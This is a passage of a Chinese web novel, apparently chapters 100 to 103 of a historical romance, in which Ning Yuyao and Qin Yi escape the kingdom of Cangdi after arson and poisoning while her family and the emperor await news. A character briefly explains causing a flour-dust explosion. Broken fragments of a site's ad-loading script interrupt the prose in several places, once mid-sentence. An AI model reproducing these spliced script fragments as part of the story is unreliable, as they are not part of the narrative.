“好,好,好的很呐!”苍狄王怒不可遏,额头上青筋暴起。人没抓到,还烧了大半个国都,真是一群没用的废物! “来人!将梁卫拖下去斩了,命国都中所有武将,立即带兵出去抓捕两个贼寇!生死不论!若是抓不到,提头来见!” 命令一出,国都内所有武将倾巢而出,迅速向四面八方涌去。这一把火,不光是苍狄王怒气冲天,更如一巴掌狠狠扇在了这群武将们的脸上。 他们身为武将,守护国都本是职责所在,而如今国都竟然被烧了大半,简直是奇耻大辱! 已经苏醒的国师也命人放出无数信鸽,他脸色苍白,虚弱地站在门口,仰头凝望着夜空中那群渐渐远去的信鸽,脸上已看不到半分平日的和蔼可亲。 直到鸽群们彻底消失在茫茫夜色中,他才收回视线看向地上跪着的众人。 为首的便是连续两次都错认王女的涓姑姑,她垂首跪在那里,大气都不敢出,更不敢求饶。 “孟青涓,秋叶,冬雪办事不力,杖责五十,拖下去吧。” 不知道国师在这片刻间想了什么,或许是念及旧情,又或许是另有考量。 不过好在没有直接命令处死她们三人,但是五十大板下来,她们能不能活就看自己的命够不够硬了。 孟青悦心中暗暗松了口气,只要把这五十大板撑下来,这次的事情就能彻底翻篇,她就依旧是国师府的涓姑姑。 她们三人对着国师磕头拜谢,然后默默地自己下去领罚了。 国师年老体衰,今日又遭此大难,身体早已支撑不住。他在侍从的搀扶下,回到屋内躺下。 他的目光落在那光秃秃的祈月杖上,恨恨地闭上眼睛,心中几欲吐血。他活到七十岁了,一生运筹帷幄,眼看就能一统江山,没想到却被个黄毛丫头给摆了一道。这口气,他怎么咽得下去? 这两个小蟊贼,必须彻底留在苍狄!他们绝不能逃脱,否则他一生的谋划都将毁于一旦。 被苍狄王和国师恨之入骨的宁玉瑶和秦熠隐匿在一棵繁茂的大树上,茂密的树叶层层叠叠,将他们二人遮挡得严严实实。 秦熠稳稳地坐在粗壮的树杈上,挥手赶走那些靠近的虫子。他牢牢抱着宁玉瑶,打开她怀中的包裹,露出里面散发着柔和光芒的硕大夜明珠。 宁玉瑶惊讶得瞪大了眼睛,捧起那颗有秦熠拳头那么大的夜明珠,“哪来的?” “祈月杖上拆下来的,”秦熠拿过夜明珠,放在宁玉瑶脸颊边,夜明珠柔和的光芒衬得宁玉瑶娇美异常,他忍不住赞道,“真美。” 也不知道他是在夸夜明珠美,还是在夸宁玉瑶美。 宁玉瑶脸蛋绯红,娇嗔地拍了秦熠一巴掌,夺过夜明珠在手里把玩着,“这下我们这一路更不太平了。” 从不关心他国事务的她也知道祈月杖对苍狄的重要性,祈月杖说是国之重宝也绝不为过。秦熠这一拆,简直是把苍狄的根基都给拆了。 秦熠却满不在乎,嘴角微微上扬,“他们本来也没打算放过我们。” 杀了朱旦英,给国师和苍狄王下毒,偷了国师府里的机密信件和舆图,又一把火烧了国都。这些事情单拎一件出来就能让苍狄将他们除之而后快,再多一个偷了苍狄的国之重宝,也没多大影响。 “别管他们,苍狄地广人稀,我们避着点走,他们抓不到我们。” 秦熠从怀中掏出一个早已凉透了的炊饼和水囊,递给宁玉瑶,“今天先凑合垫垫肚子,等远离了国都,我再给你打些野味。” “你怎么还准备了吃的。”宁玉瑶喝了口水,润了润干涩的喉咙,才接过炊饼。她也没想到今日忙乱了一整天,秦熠居然在如此紧张的局势下干了这么多事。 “炸粮铺的时候顺手拿的。”只是顺手的事,秦熠自然不会让宁玉瑶饿肚子。 提起炸粮铺,宁玉瑶不禁有些好奇:“你哪来的火药?” “没有火药。”秦熠自己也拿出炊饼咬了一口,看见宁玉瑶脸上的疑惑,解释道,“粮铺内的库房里有许多面粉和糯米粉,我将这些米面的粉全都扬起来,使其弥漫在空气中,再在里面点了把火,粮铺就炸了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “居然还可以这样。”宁玉瑶惊叹不已。 “嗯,所以粮库禁火,不仅是怕烧坏粮食,更主要的是担心引发爆炸。” “熠哥哥,真厉害,”宁玉瑶毫不吝啬地吹捧道,“居然什么都知道。” 秦熠看着宁玉瑶眼中毫不掩饰的崇拜,心中涌起一股难以言喻的满足,感觉自己都快飘起来了。 他倾身凑到宁玉瑶面前,眼神中带着一丝期待,“那,玉瑶可有什么奖励?” 宁玉瑶看着近在咫尺的俊朗面孔,心跳不由自主地加快,羞涩地凶巴巴道:“没有!” “哦。”秦熠失望地往后一靠,继续倚着树干。 宁玉瑶瞧见秦熠脸上掩饰不住的落寞,即便知道他是在装模作样,也不由得心中一软。她小心翼翼地趴过去,抬起头在秦熠的嘴唇上轻轻亲了一下。 然而她还来不及退开,便被秦熠迅速按着后脑勺。秦熠的眼眸中燃烧着炽热的火焰,撬开她的唇,加深了这个吻。 宁玉瑶一惊,可她还记得他们此时正处在树上,怀中还紧紧抱着那些至关重要的信件,她不敢挣扎。 秦熠见她这般乖巧,愈发放肆起来,尽情地攻城略地,直到宁玉瑶快要喘不过气来,他才恋恋不舍地放开她。 “都这个时候了还胡闹!”宁玉瑶又羞又恼,连拍了他几个巴掌。 秦熠却嘿嘿一笑,他抓住宁玉瑶的手,在她的手指上亲了亲,“放心,我抱着呢,掉不下去。” “谁担心这个了!”宁玉瑶瞪了他一眼。 秦熠把她又往怀里拢了拢,紧紧抱好,亲了亲宁玉瑶的发顶,“不闹了,吃完好好休息。” 宁玉瑶“哼”了一声,才低下头,小口小口地啃着炊饼。 终于有了片刻空闲,秦熠靠在树干上,回想起今日在国师府书房发生的种种事情,他皱眉沉思,“为何那两个老东西都如此笃定陛下龙体有损?他们动了什么手脚吗?” 想起这事,宁玉瑶的心情瞬间沉重,有些食不下咽,她放下正欲咬下去的炊饼,闷声说道:“熠哥哥还记得春玉娅和归霞草吗?” 春玉娅是秦熠陪着李二送到国公府的,而培育归霞草的花坊也是他费尽心思找到的。此事他当然记得,当时说是二公主用此毒谋害皇后,难道…… “难道陛下也中了此毒?”秦熠惊疑不定,心中涌起一股不安。 “嗯,”宁玉瑶哽咽着,“舅舅中毒比舅母更深,当时陆院正诊断,舅舅的寿元已经不多了。” “看来这一切又是苍狄搞的鬼。”秦熠咬牙切齿,苍狄竟敢对大宸皇帝暗下毒手,今日这把火放得实在不够解恨。 “当初查祁夕滢获得此毒的背后推手时,无论如何都没查出来,看来此事或许与祁晖珉也脱不了干系。” “哼,如此狼子野心的孽畜。”秦熠紧紧抱着默默流泪的宁玉瑶,轻声安慰道,“玉瑶放心,秦家必不会让此等孽障如愿!” 101.合婚 稍稍填饱肚子,秦熠翻出了在书房暗格中找到的信件书册。 今日行事匆忙,他们没来得及仔细查看这些物件。眼下终于得空,可以好好翻阅一番。 茂密的树冠中一片漆黑,伸手不见五指。幸好他们有夜明珠,黑暗便不是问题。 宁玉瑶举着夜明珠,坐在秦熠的怀中,与他一同查看那些信件。 信件大多是祁晖珉写给国师的,还有方廷峪以及朝中几位大臣的。 祁晖珉的信件最早可以追溯到五年前。宁玉瑶逐张仔细看着信件里面的内容,从兵力部署到朝廷动态,都被描述得一清二楚。 当看到祁晖珉信中提到助他夺得皇位后,要将西南方割让给苍荻时,宁玉瑶不禁冷笑:“还没登上皇位呢,就想着把西南方割让给苍荻,这种人也配觊觎那个位置?” 身为守卫大宸边疆的将领,秦熠更加看不上这种荒唐的行径。他轻抚着宁玉瑶的后背,“别气,祁晖珉蹦跶不了几天了。” “嗯。”宁玉瑶点头,将死之人不足挂齿,她看着那几本册子,疑惑地问道:“这些册子里有什么?怎么收得那么隐蔽?” 秦熠将信件小心地收好,打开了最旧的一本册子。里面记录着一个个人名,有些名字已经被划去了。 起初他们并不明白这是什么意思,直到在第二本册子上看到了林鸿轩的名字,而且林鸿轩三个字已经被划去。 宁玉瑶思索片刻后问:“难道这些人都是国师安插在大宸的探子?” “或许不止大宸,”秦熠又往后翻了翻,打开一本新的册子,指了指上面的名字,“上面的名字是北穆人的,北穆也被安插了人。” 随后,他又在册子上找到了玖跃的名字,以及阮贞。联系被划去的“林鸿轩”三字,他猜测道:“被划去的应该就是已经死了的。” 他们粗略地翻过一遍这些册子,宁玉瑶又拿出之前苍狄王哄骗她签下的盟约书,一条条认真地看过去。每一条内容都是陷阱,她却笑容满面,“那老东西还想用盟约书坑我,我坑死你们!” “这次收获确实不错。”秦熠笑着揉了揉宁玉瑶的头。 他将书册和信件都整理好,打开舆图仔细查看,“苍荻已经知道了我们的身份,方廷峪那边必然会设法拦截我们。如此一来,秧州是不能去了,我们绕道从锦州回去。” 锦州确实也与苍荻接壤,不过锦州与苍荻之间有一道天险。宁玉瑶听闻那道天险环境恶劣,绝非轻易能够通过。否则苍荻跟大宸打了这么多年,苍荻也从未曾侵犯过锦州。 不过,既然秦熠做出了这样的决定,那他必定有把握。对于行军赶路之事,宁玉瑶一窍不通,她便不会轻易质疑秦熠的决定。 他们确定好了路线之后,秦熠又拿出那些金器,轻松地将金器捏成一个个碎金块,金器在他手中就如同泥团一般,随意被他搓圆捏扁,“好了,等找个机会,我去城里换些东西出来。” “嗯。”宁玉瑶应道,见秦熠收拾妥当,她念出几种草药的名字,“熠哥哥,你去帮我将这几种草药采来,我们来时的路上就有。” 秦熠没有犹豫,他将宁玉瑶妥善安置好后,便爬下树去,将她需要的草药采了回来。 宁玉瑶让他将草药全部碾碎,混合均匀,然后涂在二人身上。 “这是做什么的?”秦熠好奇地问道。 “苍狄有许多狼犬。”宁玉瑶一边抹药一边解释,“涂上这些,狼犬便闻不到我们的气味了。” 当所有事情都整理完毕,宁玉瑶轻轻打了个呵欠。虽然在后半日都是秦熠抱着她在奔跑,但心神一直紧绷着,还是让她感到有些疲惫。 秦熠轻轻拍着她的后背,柔声说道:“睡吧,有我在,别怕。” “我不怕。”宁玉瑶将头枕在他的颈窝处,“我很高兴,我们终于可以回大宸了。” 去岁离开雁京时正是九月,如今正好已经一年了。不知道娘亲和爹爹们可还安好? 祁婧惠自从涑州撤兵不再搜寻宁玉瑶的下落后,每日都会来到宁玉瑶的闺房小坐片刻。 明安郡主的闺房每日都被打扫得一尘不染,所有的摆设都如同往昔一般,没有丝毫变动,仿佛宁玉瑶从未离开过这里。 青黛和青筱从自己的屋内走出来,恭敬地地站在门口。 宁玉瑶发生意外之后,祁婧惠难得地并未迁怒这两个侍女。但侍女们依旧自责,她们每日除了亲自收拾郡主的闺房,便待在自己的屋内,虔诚地念经拜佛,祈求佛祖能够保佑郡主平安归来。 多宝阁上的金鼠,目露凶光,似在镇守着明安郡主的珍宝,祁婧惠将它拿在手中仔细端详。 宁渊也从宫内归来,静静地站在妻子身旁,一同看着那只金鼠,他的脸上露出一抹笑容,“也就秦熠那小子爱弄这些东西。” 祁婧惠将金鼠放回原位,又看向旁边的红宝石金簪。回京后,太子便将这支金簪交还给了祁婧惠。 当时金簪已经破损,但他们都知道这是两个孩子的定情信物。祁婧惠便请秦将军府当初指点秦熠打造这支金簪的工匠,将它恢复如初,之后这支金簪便一直好好地放在宁玉瑶的多宝阁上。 祁婧惠轻叹一口气,有些事情她虽不愿提起,但也不得不面对,“秦家在准备聘礼。” “嗯。”宁渊也知道这件事,他和秦柏已经商议好,等到瑶儿满二十岁,若再无希望,便替两个孩子合婚。他们不能因为自己的逃避,而让孩子们一直在外漂泊。 “或许再过不久瑶儿就会回来了呢。”宁渊故作轻松地说道,“当初瑶儿在护国寺求的签文是‘逢凶化吉,遇难成祥’。” 祁婧惠也一直怀着这种期待,常言母女连心,她总觉得她的瑶儿还好好活着,还像在雁京那般领着秦熠四处胡闹。 她知道秦家也是这般想的,所以现在秦家准备的聘礼是两套,她给瑶儿准备的嫁妆也是两套。不管怎么样,总要抱着一线希望。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “瑶儿那么乖,肯定也在想办法赶紧回家。”祁婧惠笑道,她的手指轻轻地轻抚着多宝阁上女儿喜爱的物件,“走吧,夜深了,早些休息,明日我还要去给娘娘请安。” 宁渊点点头,携妻子一同离开女儿的闺房。 皎洁的月光倾洒而下,照亮了长公主府,也照亮了宁玉瑶藏身的树林。 安静的树林中,突然响起一阵轻微的脚步声。秦熠瞬间从浅眠中清醒过来,他担心宁玉瑶在无意识中发出声音,迅速捂住她的嘴,轻轻唤醒她。 宁玉瑶缓缓睁开还带着一丝睡意迷蒙双眼,很快她就意识到发生了什么,但她不慌乱,也没有胡乱动弹,只是静静地握住秦熠的另一只手。 有人从他们藏身的树下走过,那些人在树林中仔细地搜寻着,远处还不时传来狗吠声。 不过他们并不担心。果然,几只狼犬在他们藏身的树下嗅闻了一会儿,很快便离开了。 “这里没人,快往前走。”领头的人迅速吩咐道,声音中带着一丝不耐烦。 “头儿,要不休息会儿吧,咱们都找了一天了。”牵着狼犬的人气喘吁吁。 领头的人踹了他一脚,怒道:“休息什么休息,不抓到那两个小贼你可以永远休息了!” 牵着狼犬的人往地上啐了一口,抱怨道:“不知道哪里来的小兔崽子,居然放火烧国都,真是活得不耐烦了。” “少废话,快点找吧,王和国师都在盛怒中,不找到人,谁都没好果子吃。” 宁玉瑶和秦熠一直坐在树上,静静地等待那些人的身影消失在树林中,树林很快又恢复了平静。 秦熠轻轻拍了拍宁玉瑶,示意她继续睡。宁玉瑶没有客气,靠着秦熠,很快又进入了梦乡。秦熠则在思考接下来他们能走的方向。 虽然他们已经走了一整天,但目前还未离开国都所在的地域。要想回到位于国都东方的大宸,必须要渡过一条大河。那条河在舆图上有记载,叫济河。 济河极为宽阔,他们同朱占行来时是乘渡船过来的,现在想要过去,渡船自然上不去,那就只能自己游过去。 但济河沿途肯定有重兵把守,秦熠仔细回想舆图上的信息。从他们所在的位置一直往北走,经过三个城镇便能走到济河的出口处。 济河汇入沲江,顺着沲江可以直接抵达扶水道。秦熠皱起眉头,不知道沲江上有什么,朱占行返回国都时没有想过走水路,舆图上也没有任何标志。不过既然他们无法原路返回,那就只能铤而走险,去沲江上看看了。 翌日清晨,秦熠将自己的决定告诉宁玉瑶。 宁玉瑶轻轻“唔”了一声,看着秦熠紧皱的眉头,她捧着他的脸,轻轻揉了揉,笑道:“熠哥哥别担心,就算沲江有问题也没关系,我们再想办法从其他地方绕过去,总能找到回去的办法。” “嗯。”秦熠不再纠结,抓着她的手亲了一口,然后抱着她爬下树。“走,我们先去弄点吃的。” 102.金疮痉 秦熠背着宁玉瑶一路向北,在密林中跋涉大半日,才走出那片茂密的树林。 他们站在密林边。秦熠凝视着远处那座普通的小镇,思索片刻后,又返回树林中,将宁玉瑶安置在一棵粗壮的大树上,“我先去那边看看。” 他不放心将宁玉瑶一人留在此处,但此时城内情况不明,他更不敢带着她去涉险。 “好,你小心点,不用担心我。”宁玉瑶晃了晃手中的袖箭。 秦熠点点头,在周围布置好陷阱,才一步三回头地离开。 小镇的城门口贴着两张海捕文书,凡是一男一女进城都会受到严密盘查,秦熠眯起眼睛,仔细观察那两张画像,他心中嗤笑,画像上的大胡子男人跟他有什么关系? 秦熠从容地交了入城税,大摇大摆走进城门,没有任何人察觉到异常。 只可惜这个小镇实在太小,秦熠进入小镇后,也不敢大肆采购。只找金铺用碎金子换了些银子,买了些便于携带的肉食和粮食,再让店家将水囊灌满。 走了大半天,他们水囊中的水早已喝空,宁玉瑶虽然没有抱怨,但秦熠又怎会没有察觉? 买完吃食,还需要代步工具,他思来想去,在坊市挑了一头驴。 准备离开时,坊市中有人在售卖裘皮,秦熠没有多做犹豫便直接买下。 这是一块杂色狐毛皮,品质与他之前送给宁玉瑶的白貂毯相比,差得不止一星半点。只是现在晚上越来越冷,他们又在逃亡中,容不得他们挑剔。 在小镇中停留许久,秦熠心中牵挂着宁玉瑶,没敢继续耽搁。他牵着毛驴赶紧往回走,谨慎地绕了几圈,确定没人跟着,才绕回安置宁玉瑶的那棵树。 树林中安安静静,他走之前布下的陷阱没有人动过的痕迹,意外的是陷阱中竟然套了只兔子。此时不宜生火,秦熠便将兔子捆起来挂在驴子身上,当作他们的储备粮。 “熠哥哥回来啦。”宁玉瑶听到树下的动静,从树枝中探出头来。说着,她就要往树下爬,秦熠连忙过去接住她。 “没事,别忘了我爬树的本事还是你教的呢。”宁玉瑶站稳,笑眯眯地看着那头驴,“怎么想着买头驴呀?” 她以为秦熠会买匹马回来。 “这个镇子太小,马不好买,”秦熠拍了拍毛驴的脑袋,解释道,“而且我们走的多是山路,驴子比较方便,等过了河我们再换马。” “好。”宁玉瑶也不在乎是驴子还是马,横竖只是一个临时的代步工具。再好的马也比不上她的月影和霁月。 秦熠将毛驴身上的吃食和水囊递给她,等她开始吃东西时,才轻声说起城门口见到的海捕文书。 “还好我们都做了伪装。”宁玉瑶脸上露出一丝得意的笑容,“不过估计他们也是一时没反应过来,等过几日就会换画像了。” “不怕,到时候我再换个伪装便是。” 不过,经历过朱府和国师府的事情后,往后无论他们如何伪装,只要是一男一女出现,必定会遭到严格盘查。而且宁玉瑶的模样和身段实在不适合扮男装,所以此后他们肯定不能同时进城了。 “嗯。”宁玉瑶也不是很担心,苍荻不需要路引,且多是崇山峻岭,到处都可以藏人。大不了往山里一躲,等苍狄放松警惕了再出来。 而且…… 宁玉瑶坐在毛驴背上托腮,一脸坏笑。她可是在国师和苍荻王身体里打上了不少铁针,铁针上不但有铁锈,还沾有江老精心研制的毒药,不知道这两人能不能撑到他们回大宸。 几日过去,秦熠带着宁玉瑶隐匿在山林中,如同人间蒸发般踪迹全无。这使得苍狄王和国师愈发恼怒,但很快他们便无暇顾及了。 他们先是头晕目眩,紧接着全身乏力,仿佛身体被抽空了般卧床不起。国师由于年事已高,身体原本就不如苍狄王强健,此时更是虚弱到了极致。他高热不止,浑身抽搐,没过多久便昏迷不醒。 苍狄王强撑着虚弱的身体招来国师府的医官,医官们个个神色凝重,冷汗淋漓。 “究竟是怎么回事?” “王上,从这症状来看,似乎是金疮痉!”医官们颤抖着声音回答,头垂得更低了。 “怎么会是金疮痉?!”苍狄王不可置信。 尚未登上王位时,他为了收拢军心,曾在军中待过一段时间。他清楚地记得,军中许多兵士就是因为得了金疮痉而不治身亡。 国师怎么会患上这种病症? “或许是因为国师体内那些生锈的铁针……”医官低垂着头,小心翼翼地回答。 铁针…… 苍狄王想起他的体内也被打入了铁针,他的脸色瞬间铁青,猛地看向医官,问道:“本王是不是也患上了这金疮痉?” 医官们跪伏在地,身体瑟瑟发抖,不敢言语。 “好,很好!”苍狄王怒不可遏,坐在椅子上,狠狠地拍了一下椅子的扶手。 “传令下去,命苍狄各州镇,务必死守各交通要道,全力搜寻那两个贼寇,一旦找到,立即就地斩杀!” 此刻的苍狄王已经全然不顾会不会引起大宸的注意,他的心中只有一个念头,那就是将这二人碎尸万段,以解心头之恨。 有了驴子代步之后,宁玉瑶和秦熠赶路的速度确实快上了许多。 可惜好景不长,即便他们选择的都是那些人迹罕至,根本没有路的山林,路上遭遇搜寻的官兵也越来越多。驴子的叫声实在过于响亮,在这寂静的山林中显得格外突兀,为了避免被官兵发现,他们不得不舍弃驴子,继续徒步前进。 一路躲躲藏藏,终于在第四天傍晚,他们抵达了济河的尽头。 济河在这里与沲江交汇,滔滔江水奔腾不息,向着远方汹涌而去。 之前的济河河畔,每隔一段距离便有几个人驻扎,可这里却空无一人。秦熠试探着靠近河边,河水湍急得让人心惊。他随手扔了一截木头下去,很快,木头便被水下的暗礁撞得四分五裂。 “看来这边确实过不去。”秦熠皱起眉头。 河面太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宽,而且水下还有暗礁,游不过去,船只也无法通行。难怪这里没人守着,苍狄人显然是笃定没人能从这边经过,才没在这里浪费兵力。 秦熠倒也不着急,他先在附近寻找一个落脚的地方。 河边寒风呼啸,附近既没有山洞,也没有粗壮的树木。秦熠只好用皮子搭了一个简单的帐篷。他将这几天陆续买的铺盖和狐裘铺在帐篷里面,顿时帐篷里暖和了不少。 宁玉瑶躺在狐裘上,困意渐渐袭来,昏昏欲睡。秦熠则拿出舆图和夜明珠,仔细地琢磨着。 片刻后,他收起舆图。 “熠哥哥有办法了吗?”宁玉瑶勉强睁开眼睛,声音带着一丝慵懒。 “嗯。”秦熠将宁玉瑶身上的狐裘盖好,“我们往沲江上游走走,看能不能渡过沲江,然后再沿着沲江往东南方向走,去扶水道。” 宁玉瑶听得似懂非懂,只是懵懂地点头应好。 “这么乖。”秦熠笑着点了点她的鼻子,眼中满是宠溺,“不怕我把你卖了。” 宁玉瑶昂着下巴,“这世上还有比我更珍贵的吗?” 秦熠捏着宁玉瑶的下巴,仔细看了看,笑嘻嘻道:“那确实没有。” 宁玉瑶哼了一声,一巴掌拍掉他的手,翻过身,不理他。 秦熠凑过去,贴着宁玉瑶的后背,将她往怀里一拢,“早些休息,我们明日早些赶路,顺利的话尽量今年回去过年。” 如果可以,她也想回去过年。宁玉瑶掰着手指算了算,只有三个月就要过年了。她怕秦熠着急,又转过来抱着他,在他怀里蹭了蹭,轻声安抚道:“熠哥哥,慢慢来,没事的。” “好。”秦熠心中自有考量,但为了让宁玉瑶安心,他并不反驳。 去往沲江上游的方向与回大宸的方向完全相反,或许苍狄王认定宁玉瑶他们会一门心思地想尽办法渡过济河,沲江上游的河畔兵力部署明显减少,越是往上前行,他们所遇到的官兵就越少。 他们找到一个驻兵稀少的地段,少到入夜之后,以秦熠过人的目力都难以看清驻守兵士的影子,更何况那些普通的兵士。 秦熠趁着夜色悄悄地靠近沲江查看江水的情况。 江面虽然宽阔,但水流平缓,以他的体力,游过去并非难事。只是现在已是深秋时节,江水寒凉刺骨,他担忧宁玉瑶会因此受寒。 这条江他们必须渡过,不过得想个办法,让玉瑶尽可能少地接触到江水。 秦熠想了想,让宁玉瑶将他们之前充当帐篷的皮子缝制在一起,做成一个巨大的袋子。 他抖了抖那个大皮袋,抱起宁玉瑶,将她放进皮袋里,收好袋口只露出她小巧的脑袋。秦熠揉了揉她乱糟糟的头发,脸上露出满意的笑容,“这样就行了。” “做的这个袋子就是为了装我呀。”宁玉瑶在皮袋里动了动身子。 “当然,稍微能隔点水也是好的。”秦熠解开袋口,将宁玉瑶放了出来,用剩下的皮子将舆图和信件妥善包裹住,“等晚上我们就渡江。” 103.接应 不知是否是大宸的列祖列宗庇佑,夜晚的江面竟突然升腾起一层浓雾,站在岸边,完全无法看清江中的状况。 宁玉瑶被装在皮袋子里,手中紧紧抱着秦熠的衣服和证物。 秦熠依旧用绳索将她牢牢捆在自己身上,在岸边活动了一番后,才缓缓步入江水中。 江中的雾气极为浓重,一般人难以辨别方向,但这难不倒秦熠。 夜晚的江面格外安静,江水哗哗地从他们身旁流过。秦熠小心翼翼地在江面上游动,不知为何,突然忆起他们在掖州被逼跳河的那个夜晚。 那时同样如此安静,身后皆有追兵,但彼时玉瑶昏迷不醒,他们前路迷茫。而如今,他们都身体无恙,他会将玉瑶平安带回大宸。 游了许久,终于抵达岸边。秦熠连忙解开身上的绳索,将宁玉瑶放出来。见她只有鞋袜略微沾了水,其他地方都很干爽,这才松了一口气。 “别管我了,熠哥哥你快换上。”宁玉瑶摸着他被江水浸得冰凉的手,急忙将手中的衣物递给他。 秦熠也不敢在这个时候生病,三两下换好衣服后便背起宁玉瑶,“我们先离开这里。” 好在沲江这一侧的管理不再像之前那般严格,他们在岸边不远的镇子里购置了一匹矮脚马。 之后的行程一路顺遂,仅仅十几日的工夫,他们便疾驰抵达了扶水道。这一路上,他们连搜查的兵士影子都没瞧见。 然而,越是靠近大宸,沿途城镇的盘查就越发严格。那些海捕文书上的画像,也愈发与他们相似。 原本他们计划二人分头进入扶水道,好好休整一番。但进城之人的行囊都会被逐一打开检查,无奈之下,依旧只能由秦熠伪装满脸伤疤,独自混入城中采买物品,而宁玉瑶则带着东西在野外等候。 不知接下来的路途会遭遇什么,秦熠便花大价钱在繁华的扶水道买了一副弓箭。好在扶水道作为苍荻东部最为热闹的城池,来往商人众多,他所买之物并不显眼,也未引起任何怀疑。 从扶水道往东走两日可至启宁镇,启宁镇再往东八日便是大宸的秧州城。可惜秧州被方廷峪掌控,他们只能朝着东南方向前往锦州。 离开扶水道后,天气愈发寒冷,他们不敢再耽搁,日夜兼程地朝着东南方的锦州赶去。 “咳咳……明安郡主和秦熠还未抓到吗?”国师躺在病榻上,气息微弱地询问一旁的侍从。 侍从们皆沉默着摇头。 “快一个月了。”国师喃喃自语,“他们恐怕已抵达边境……” 他深知自己命不久矣,可心中满是不甘。从最初读书识字,初次研习史学,知晓天高地厚之时起,他便一心想要成为这天下的霸主。 他筹谋了二十余载,方才登上国师之位,又费尽心思在周边各国安插探子。眼看即将大功告成,却没想到被一个黄毛丫头在自己的老巢摆了一道。 他满心愤恨,恨老天不公,竟让他如此轻易又窝囊地败下阵来。 国师缓缓闭上双眼,眼角滑落一滴懊悔的泪水。连日的病痛已将他折磨得骨瘦如柴,黄褐色的斑点布满了他的身躯。 侍卫们低头跪在地上,不敢正视这位如风中残烛般的老人。 片刻后,国师再度开口:“将所有与大宸有联系的信鸽全部放出去,告诉他们,若不能截杀明安郡主二人,他们就等死吧!” 他眼中满是狠戾,既然你们坏我好事,便是躲到天涯海角,也定要将你们诛杀。 再走三日便能抵达锦州天险。秦熠坐在篝火边,望着宁玉瑶的小脸,不禁叹了口气。好不容易养出的一点肉,又没了了。 可惜如今已经立冬,野外的动物也极难寻觅。他仰头望向天上的夜空,来两只鸟也好啊。 忽然,一阵轻微的展翅声掠过。秦熠目光一凝,立即坐起身来,拿起弓箭对着天上连射两箭。只见两只箭矢带着三只鸽子掉落下来。 “什么东西?”宁玉瑶目力不及秦熠,她疑惑地起身,跟在秦熠身后张望着。 秦熠大步流星走过去捡起鸽子,微微挑眉,“运气不错,我们今晚有好东西吃了。” “鸽子?”宁玉瑶满脸不解,“鸽子算什么好东西。” 秦熠从鸽子腿上取下竹筒递给宁玉瑶,“这可不是普通的鸽子。” “信鸽?”宁玉瑶坐回篝火边,打开竹筒,取出里面的纸条。 她在火光下看完纸条,托着腮看着正在处理鸽子的秦熠,“三封信,两封给雁京,一封给方廷峪,都是要他们截杀我们的。” “看样子,为了确保万无一失,他们在每个地方都放了不止一只鸽子。”秦熠冷哼一声,“不过,想杀我们,那就得看他们有没有那个本事了。” 宁玉瑶也并不担心,他们有的是办法隐藏自己。只是锦州天险那边估计也会有人守着了。 秦熠很快将鸽子烤好递给宁玉瑶,“别担心,快尝尝,这鸽子我在国师府的时候就想吃了,肯定很香。” 宁玉瑶也不知道他什么时候就盯上了国师的鸽子,接过来吃了一口,确实很香。但她现在只想吃御厨精心烹制的八珍羊烩和金缕玉鹅,对鸽子提不起兴趣,也不知道什么时候才能吃上。 秦熠见她只吃一只就不愿再吃,便把剩下的两只烤鸽子连肉带骨头都嚼碎咽了下去。 看着宁玉瑶脸上的愁容,他安抚道:“放心吧,方廷峪想拦我们或许还拦得住,但锦州那边可没那么容易。等你见过就知道为什么叫天险了。” 除了被秦熠射杀的那三只鸽子之外,其余的鸽子皆顺利抵达了它们既定的目的地。 夜深人静时,方廷峪的亲兵神色匆匆地走进秧州城方廷峪为阮娘置办的院子里。 “将军!大事不好了!明安郡主拿到了您写给苍狄的信件,与秦熠一同逃出了苍狄,恐怕很快就要逃回大宸了!” “什么?”方廷峪猛地从阮娘身上爬起来,只匆忙披上了一件衣裳便急忙跑了出来。 亲兵赶紧呈上信鸽送来的纸条,方廷峪匆匆扫了一眼,脸上布满了阴霾,“赶紧召集人手,沿着边境仔细搜寻,哪怕一个土坑都不能放过,务必将这二人就地斩杀!” “遵命!”亲兵领命而去。 得到飞鸽传书的大宸官员们迅速行动起来,召集所有可用之人手,火速赶往边境。 与此同时,负责统管安插在各国暗探的暗翎手中紧握着一张纸,悄然落在乾元殿外。 “陛下刚睡下。”苏德茂守在门前,压低声音说道,眼神中带着警告,示意暗翎最好有十万火急的事,否则那些鸡毛蒜皮的小事别想打扰陛下。 暗翎斜睨了他一眼,“明安郡主的消息算不算大事?” “你怎么不早说!”苏德茂赶忙转身进了寝宫。 暗翎看着苏德茂那急匆匆的背影,轻哼一声,你当我傻子呢,不是大事我敢半夜跑来找陛下吗? 片刻后,寝宫内的烛火亮起,暗翎脸上再度恢复了那副沉稳的表情,跟着内侍走进寝宫。 “暗翎参见陛下,陛下圣安。” “起来吧,听说有明安的消息了?”承武帝倚靠在软枕上,一年过去,他的身体愈发消瘦。昏暗的烛光摇曳着,映照在承武帝身上,更显得他瘦骨嶙峋,仿佛一阵微风便能将他吹倒。 暗翎起身,将手中的纸递给苏德茂,随后解释道:“启禀陛下,苍狄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 传来消息。有一男一女在苍狄肆意妄为,不但对国师和苍狄王下了毒,还放火烧了国都。现下苍狄已下达海捕文书,举全国之力抓捕这二人。虽然苍狄并未明确指出这两人的身份,但从海捕文书的描述以及画像来判断,臣猜测极有可能是明安郡主与秦熠都司。” 苏德茂打开海捕文书,恭敬地呈至承武帝面前。承武帝伸出手,微微颤抖着抚摸着文书上与宁玉瑶有七分相似的画像,他轻声呢喃道:“好孩子,只要活着就好。” 他想到方才暗翎所言宁玉瑶正在被苍狄举国抓捕中,神色一正,“宣嘉阳长公主,诚国公,秦柏进谏。”片刻后,又补充道:“还有李皓也叫来,别惊动其他人。” 暗翎领命退下,由他亲自去宣旨,必然能够做到神不知鬼不觉。 陛下召见,无论此时是何时辰,被召见之人皆须立刻起身前往,祁婧惠和宁渊悄然从后门绕出。 刚走没多远,便瞧见秦柏也从秦府后门走了出来。他们在彼此眼中看到了疑惑,但此刻并非说话的时机,便只是沉默着拱手示意,匆匆朝着皇城赶去。 